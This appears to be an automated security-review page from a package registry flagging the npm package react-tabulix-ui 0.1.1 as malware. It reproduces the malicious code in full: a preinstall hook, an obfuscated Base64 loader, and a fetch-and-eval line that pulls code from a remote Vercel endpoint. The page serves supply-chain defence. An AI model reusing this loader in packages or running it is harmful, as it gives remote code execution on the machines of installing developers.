registry / react-tabulix-ui / 0.1.1

react-tabulix-ui@0.1.1

Ready-to-use React table UI built on react-tabulix-core — sort, filter, paginate without virtualization

AI Security Review

scanned 3h ago · by lpm-firewall-ai

npm installation triggers an obfuscated preinstall script. It downloads arbitrary remote text and executes it with eval, allowing unbounded install-time code execution.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm preinstall during package installation

Impact

Remote operator can execute arbitrary JavaScript in the installing user's environment.

Mechanism

Base64-obscured remote fetch followed by eval

Attack narrative

The manifest runs dist/index.d.js automatically at preinstall. That file decodes an obfuscated payload which fetches attacker-controlled content from a Vercel endpoint and evaluates it, creating install-time remote code execution.

Rationale

This is concrete, concealed install-time download-and-execute behavior unrelated to a React table UI. The benign runtime bundle does not mitigate the preinstall RCE.

Evidence

package.jsondist/index.d.jsdist/index.jsdist/index.mjs

Network endpoints1

everydaynodechecker-39143n.vercel.app/api/key?mem=root2

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence with false-positive risk.

as Malware

low

Evidence for block

package.json defines preinstall: node ./dist/index.d.js.
dist/index.d.js Base64-decodes an async fetch-and-eval payload.
The decoded payload fetches https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2 and evals its response.
The malicious installer is separate from the declared React table runtime entrypoints.

Evidence against

dist/index.js and dist/index.mjs contain only the documented React table component.
No local credential harvesting, file writes, or agent-control configuration mutation was found in inspected files.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsObfuscated

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 9.72 KB of source

Source & flagged code

5 flagged

package.jsonView file

Lines 15-55json

15 "pagination"

16 ],

17 "sideEffects": false,

18 "main": "./dist/index.js",

19 "module": "./dist/index.mjs",

20 "types": "./dist/index.d.ts",

21 "exports": {

22 ".": {

23 "types": "./dist/index.d.ts",

24 "import": "./dist/index.mjs",

25 "require": "./dist/index.js"

26 }

27 },

28 "files": [

29 "dist",

30 "README.md"

31 ],

32 "scripts": {

33 "build": "tsup",

34 "test": "vitest run",

35 "preinstall": "node ./dist/index.d.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L35

36 "typecheck": "tsc --noEmit"

37 },

38 "dependencies": {

39 "react-tabulix-core": "0.1.3"

40 },

41 "peerDependencies": {

42 "react": ">=18",

43 "react-dom": ">=18"

44 },

45 "devDependencies": {

46 "@testing-library/react": "^16.2.0",

47 "@types/react": "^19.0.10",

48 "@types/react-dom": "^19.0.4",

49 "jsdom": "^26.0.0",

50 "react": "^19.0.0",

51 "react-dom": "^19.0.0",

52 "tsup": "^8.3.6",

53 "typescript": "^5.7.3",

54 "vitest": "^3.0.5"

55 },

dist/index.d.js#virtual:base64:round1View file

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> dist/index.d.js L1: (async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

dist/index.d.jsView file

Lines 1-10javascript

1const require = (await import("node:module")).createRequire(import.meta.url);

2globalThis.require = require;

3const b4 =

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node ./dist/index.d.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/index.d.js#virtual:base64:round1View file

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

Findings

3 Critical2 High1 Medium3 Low

CriticalDownload Executedist/index.d.js#virtual:base64:round1

CriticalRemote Asset Decode Executedist/index.d.js#virtual:base64:round1

CriticalTrigger Reachable Dangerous Capabilitydist/index.d.js#virtual:base64:round1

HighInstall Time Lifecycle Scriptspackage.json

HighBase64 Obscured Urldist/index.d.js

MediumStructural Risk Force Deep Review

LowScripts Present

LowObfuscated

LowHigh Entropy Strings

LPM CLI

dist/index.d.js#virtual:base64:round1

View on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> dist/index.d.js L1: (async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

dist/index.d.jsView file

3const b4 = '[redacted]=... L4: const text = Buffer.from(b4, "base64").toString("utf-8"); L5: let nms = [101, 118, 97, 108]

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

dist/index.d.jsView on unpkg · L3

Artifact27.7 KB · 9 files1 signature(s)

Install lifecyclepreinstall

Behavioral surface

Source: cleanHighEntropyStringsObfuscatedManifest: clean

Source & flagged code

5 flagged

package.jsonView file

Lines 15-55json

15 "pagination"

16 ],

17 "sideEffects": false,

18 "main": "./dist/index.js",

19 "module": "./dist/index.mjs",

20 "types": "./dist/index.d.ts",

21 "exports": {

22 ".": {

23 "types": "./dist/index.d.ts",

24 "import": "./dist/index.mjs",

25 "require": "./dist/index.js"

26 }

27 },

28 "files": [

29 "dist",

30 "README.md"

31 ],

32 "scripts": {

33 "build": "tsup",

34 "test": "vitest run",

35 "preinstall": "node ./dist/index.d.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L35

36 "typecheck": "tsc --noEmit"

37 },

38 "dependencies": {

39 "react-tabulix-core": "0.1.3"

40 },

41 "peerDependencies": {

42 "react": ">=18",

43 "react-dom": ">=18"

44 },

45 "devDependencies": {

46 "@testing-library/react": "^16.2.0",

47 "@types/react": "^19.0.10",

48 "@types/react-dom": "^19.0.4",

49 "jsdom": "^26.0.0",

50 "react": "^19.0.0",

51 "react-dom": "^19.0.0",

52 "tsup": "^8.3.6",

53 "typescript": "^5.7.3",

54 "vitest": "^3.0.5"

55 },

dist/index.d.js#virtual:base64:round1View file

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> dist/index.d.js L1: (async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

dist/index.d.jsView file

Lines 1-10javascript

1const require = (await import("node:module")).createRequire(import.meta.url);

2globalThis.require = require;

3const b4 =

'KGFzeW5jICgpID0+IGV2YWwoIGF3YWl0IGZldGNoKCdodHRwczovL2V2ZXJ5ZGF5bm9kZWNoZWNrZXItMzkxNDNuLnZlcmNlbC5hcHAvYXBpL2tleT9tZW09cm9vdDInKSAudGhlbihyID0+IHIudGV4dCgpKSApICkoKTs='

4const text = Buffer.from(b4, "base64").toString("utf-8");

5let nms = [101, 118, 97, 108]

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

dist/index.d.jsView on unpkg · L3

6let tag = ''

7for (let i = 0 ; i < nms.length ; i++)

8 tag = tag + String.fromCharCode(nms[i])

9globalThis[tag](text)

10